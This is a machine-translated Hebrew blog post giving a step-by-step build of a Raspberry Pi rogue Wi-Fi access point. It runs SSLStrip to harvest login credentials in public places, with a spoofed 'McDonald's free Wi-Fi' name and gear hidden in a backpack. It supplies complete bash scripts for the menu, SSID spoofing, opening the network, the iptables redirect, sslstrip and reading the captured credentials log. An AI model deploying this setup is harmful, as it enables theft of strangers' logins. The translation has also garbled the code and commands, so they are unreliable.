הנה פוסט מ- הבלוג שלי שכולל שימוש ב- SSLStrip בהתקפת MITM עם Raspberry Pi - היה צריך להוריד אותו מכיוון ש- Blogger של Google לא אהב את זה, אז תוכן זה מודבק מ- Evernote :)
כחלק מהפגנה למודעות אבטחה, הקמתי את ה- AP שלי אלחוטי 3 גרם כדי לפשט SSL מאתרים מאובטחים ולקצור את פרטי הכניסה. אולי אתה מכיר את זה בהקשר של התקפות MITM, אולם מכיוון שה- Pi הוא השער, אין צורך להרעיל את ה- ARP את הרשת וכל העניין פועל מהר יותר. רציתי להראות כמה קל יהיה למישהו להקים AP אלחוטי המספק אינטרנט בחינם, עם הציוד מוסתר - אולי בתרמיל - ולשבת במקום ציבורי ותופס פרטי כניסה בלי שאיש יחשוד בדבר *. בעתיד הייתי רוצה לעשות זאת בזמן הפעלת ה- Pi מבנק סוללות.
- הוויתור העיקרי שהמתקפה מתרחשת הוא שסרגל הניווט בדפדפן כבר לא מופיע 'https:' בתחילת כתובת האתר.
להלן תיאור התסריטים:
תפריט
סקריפט זה תפריט פשוט עבור באמצעות סקריפטים קציר אישורים. הוא מועתק מהבלוג של ג'רואן דוגגן, ונערך כך שיתאים. יש לשנות את החלקים המודגשים לספריה המכילה את הסקריפטים.
menu.sh
#! / Bin / bash ## Script כדי לבצע פעולות מערכת נפוצות # ואילו: doclearecho "***********************" הד "* קציר אישורים *" הד "************ ************ "הד" * [1] שנה SSID * "הד" * [2] פתח AP * "הד" * [3] התחל SSLStrip * "הד" * [4] עצור SSLStrip * "הד" * [5] AP מאובטח * "הד" * [6] הצג אישורי אישורים "* [Q] צא *" הד "******************* ***** "הד -נ" הזן את בחירת התפריט שלך: "קרא את הקופסה שלך $ yourch in1) /home/pi/cred_harv/changeSsid.sh ;; 2) /home/pi/cred_harv/makeOpen.sh ;; 3) /home/pi/cred_harv/sslStrip.sh ;; 4) /home/pi/cred_harv/tidySslStrip.sh ;; 5) /home/pi/cred_harv/makeSecure.sh ;; 6) / home / pi / cred_harv / viewCreds .sh ;; Q) יציאה 0 ;;
*) הד "אופס !!! אנא בחר בחירה 1,2,3 או 4"; הד "לחץ על Enter כדי להמשיך ..." ; read ;; esacdone
שנה SSID
כדי שמבצר האישורים של Pi יופיע אמין, עלינו להיות מסוגלים לשנות את ה- SSID - השם שכולם רואים בו כשהם לחפש רשתות זמינות - כדי להתאים לסביבה הנוכחית שלנו. ישב במקדונלדס? שנה את ה- SSID ל- 'Wifi Customer Wifi Free של מקדונלדס' או משהו כזה.
בהיותה קציר אישורי ה- Pi חסר ראש, הדרך הקלה ביותר לעשות זאת תהיה SSH ב- Wifi והפעל סקריפט פשוט.
התסריט ישתמש בפקודת Sed. מדף האיש Sed: Sed הוא עורך זרמים. עורך זרם משמש לביצוע טרנספורמציות בסיסיות בזרם קלט (קובץ או קלט מצינור).
לכן נוכל להחליף את הערך לשם SSID בקובץ hostapd.conf באמצעות Sed. דף האיש מציין כי הדגל '-i' משמש לשינויים בתוך השורה - ככאלה, שינויים חיים שלא יוצרים עותק נוסף של הקובץ. כדי להחליף את ה- SSID, תחביר הפקודה המלא יהיה:
sed -i 's / STRING_TO_FIND / STRING_TO_REPLACE_WITH / g' FILE
ה- 's' ו- 'g' בתחילת ובסוף החיפוש והחלפת המחרוזת מגדירים את סוג החיפוש והחלפה שיבוצע STRING_TO_FIND שלנו יהיה 'SSID = Pifi', ו- STRING_TO_REPLACE יהיה 'SSID = Wifi לקוח חינם של McDonalds' בזה דוגמא. FILE הוא הקובץ /etc/hostapd.conf ונותן לנו את הפקודה:
sed -i's / SSID = Pifi / McDonalds Wifi Customer Wifi / g '/ etc / hostapd / hostapd. conf
צריך להפעיל מחדש את שירות hostapd על מנת להחיל את השינוי:
הפעלה מחדש של sudo hostapd
הסקריפט הסופי שהגעתי אליו מקבל את שם ה- SSID הנוכחי, מציג אותו ואז מבקש מהמשתמש להזין את ה- SSID הרצוי. זה מועבר ל- 'sed' שמבצע עריכה מקוונת של hostapd.conf, ומפעיל מחדש את השירות כדי להחיל את השינוי.
changeSsid.sh
#! / bin / bashcurrentSSID = `cat /etc/hostapd/hostapd.conf | grep -P -o '(? < = ssid =) [A-Za-z0-9] *' # הדגל -o פירושו הדפסה תואמת רק כלל grep #: http://stackoverflow.com/questions/1247812/ im-stuck-in-trying-to-grep-anything-just-after-nameecho SSID הנוכחי הוא $ currentSSIDecho SSID מבוקש: קרא xecho 'שינוי SSID'sudo sed -i "s / ssid = $ currentSSID / ssid = $ x / g "/etc/hostapd/hostapd.confecho 'שנה OK'echo' הפעלה מחדש של שירות hostapd'sudo service hostapd הפעלה מחדש
הפוך את הרשת לפתוח
makeOpen.sh
סקריפט זה משתמש ב- 'sed' כדי להגיב על השורה ב- hostapd.conf המאפשרת אבטחת wpa - זה גורם ל- AP להיפתח כך שכולם יוכלו להצטרף אליו. שירות hostapd מופעל מחדש כדי לאפשר את השינוי.
#! / Bin / bashecho 'השבתת אבטחת AP (AP פתוח כעת)' sudo sed -i 's / wpa = 2 / # wpa = 2 / g '/etc/hostapd/hostapd.confsudo שירות hostapd הפעלה מחדש
הפעל SSLStrip
sslStrip.sh
סקריפט זה מריץ SSLStrip , אשר 'מזייף' את הגנת ה- SSL מאתרים מאובטחים, ומאפשר לקרוא אישורי כניסה בטקסט רגיל. תוכל למצוא מידע נוסף באתר SSLStrip.
#! / Bin / bashecho "עריכת Iptables והתחלת sslstrip" sudo iptables -t nat -A PREROUTING -p tcp - יעד-יציאה 80 -j REDIRECT - ליציאה 10000sudo sslstrip -p -k -w /home/pi/cred_harv/ssl.log 2> / dev / null &
סגור SSLStrip
סקריפט זה מסיר את כלל הניתוב מ- iptables, ומאפשר גלישה רגילה שוב. זה גם הורג את תהליך sslstrip.
tidySslStrip.sh
#! / Bin / bashecho "סגירת SSLStrip וניקוי iptables" sudo iptables -t nat -D PREROUTING - p tcp - destination-port 80 -j REDIRECT - to port 10000 sudo killall sslstrip
הפוך את הרשת לאבטחה
סקריפט זה משתמש ב- 'sed' כדי להפעיל מחדש קו ה- wpa ב- hostapd.conf, מה שהופך את ה- AP לאבטח שוב.
makeSecure.sh
#! / bin / bashecho 'הפעלת אבטחת AP (AP כבר מאובטח) '
sudo sed -i 's / # wpa = 2 / wpa = 2 / g' /etc/hostapd/hostapd.confsudo שירות hostapd הפעלה מחדש
אם אתה מעתיק ומדביק אותם באופן ידני לתסריטים , זכור להפוך אותם להפעלה באמצעות:
sudo chmod + x SCRIPT_NAME pr> הצגת אישורים
סקריפט זה פשוט פותח את ה- SSLStrip קובץ יומן כדי שתוכלו לחפש בו שמות משתמש וסיסמאות - יש זבל רב בקובץ, אבל הם נמצאים שם!
#! / bin / bashsudo nano / home / pi /cred_harv/ssl.log